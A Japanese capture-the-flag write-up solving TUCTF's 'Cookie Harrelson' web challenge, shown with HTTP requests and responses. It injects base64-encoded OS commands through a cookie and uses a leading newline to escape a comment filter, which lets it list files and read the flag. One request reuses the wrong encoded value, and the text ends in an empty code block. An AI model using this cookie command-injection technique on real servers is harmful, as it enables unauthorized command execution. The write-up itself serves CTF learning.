Tags: oscommandinjection base64 web
Rating: 3.0
# ▼▼▼Cookie Harrelson(Web:200)、338/948team=35.7%▼▼▼
**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
---
```
Woody Harrelson has decided to take up web dev after learning about Cookies. Show him that he should go back to killing zombies.
http://cookieharrelson.tuctf.com
```
-----
```
GET / HTTP/1.1
Host: cookieharrelson.tuctf.com
```
↓
`Set-Cookie: tallahassee=Y2F0IGluZGV4LnR4dA%3D%3D; expires=Mon, 25-Dec-2017 05:40:09 GMT; Max-Age=2592000; path=/`
↓
Cookieの値`Y2F0IGluZGV4LnR4dA%3D%3D`をBase64でデコード
↓
`cat index.txt`
↓
Cookieに挿入すれば、任意のOSコマンドを実行できそう。
-----
まず、Cookieの値を上記の値のまま送信してみる
↓
```
GET / HTTP/1.1
Host: cookieharrelson.tuctf.com
Cookie: tallahassee=Y2F0IGluZGV4LnR4dA%3D%3D
```
↓
そのまま送信しても同じ値が返ってくることがわかった。
`Y2F0IGluZGV4LnR4dA%3D%3D`
-----
`cat flag.txt`をbase64でエンコードした値`Y2F0IGluZGV4LnR4dA%3D%3D`を送信してみる
↓
```
GET / HTTP/1.1
Host: cookieharrelson.tuctf.com
Cookie: tallahassee=Y2F0IGluZGV4LnR4dA%3D%3D
```
↓
```
Set-Cookie: tallahassee=Y2F0IGluZGV4LnR4dA%3D%3D; expires=Mon, 25-Dec-2017 05:40:09 GMT; Max-Age=2592000; path=/
```
↓
`Y2F0IGluZGV4LnR4dA%3D%3D`
↓Base64デコード
`cat index.txt #cat flag.txt`
↓
#でコメントアウトされるようだ。
↓
改行すれば任意のOSコマンドを実行できる
-----
`%0als`をBase64でエンコードした値`Cmxz`を送信する
↓
```
GET /index.php HTTP/1.1
Host: cookieharrelson.tuctf.com
Cookie:tallahassee=Cmxz;
```
↓
```
There's no way you can steal the flag from Woody Harrelson's Cookies!!
flag1337
images
index.php
index.txt
```
↓
`%0acat flag1337`をBase64でエンコードした値`CmNhdCBmbGFnMTMzNw==`を送信する
↓
```
GET /index.php HTTP/1.1
Host: cookieharrelson.tuctf.com
Cookie: tallahassee=CmNhdCBmbGFnMTMzNw==
```
↓
`Flag: TUCTF{D0nt_3x3cut3_Fr0m_C00k13s}`
-----
(参考:ソースコードの取得)
`cat index.php`をBase64でエンコードした値`CmNhdCBpbmRleC5waHA=`を送信する
↓
```
```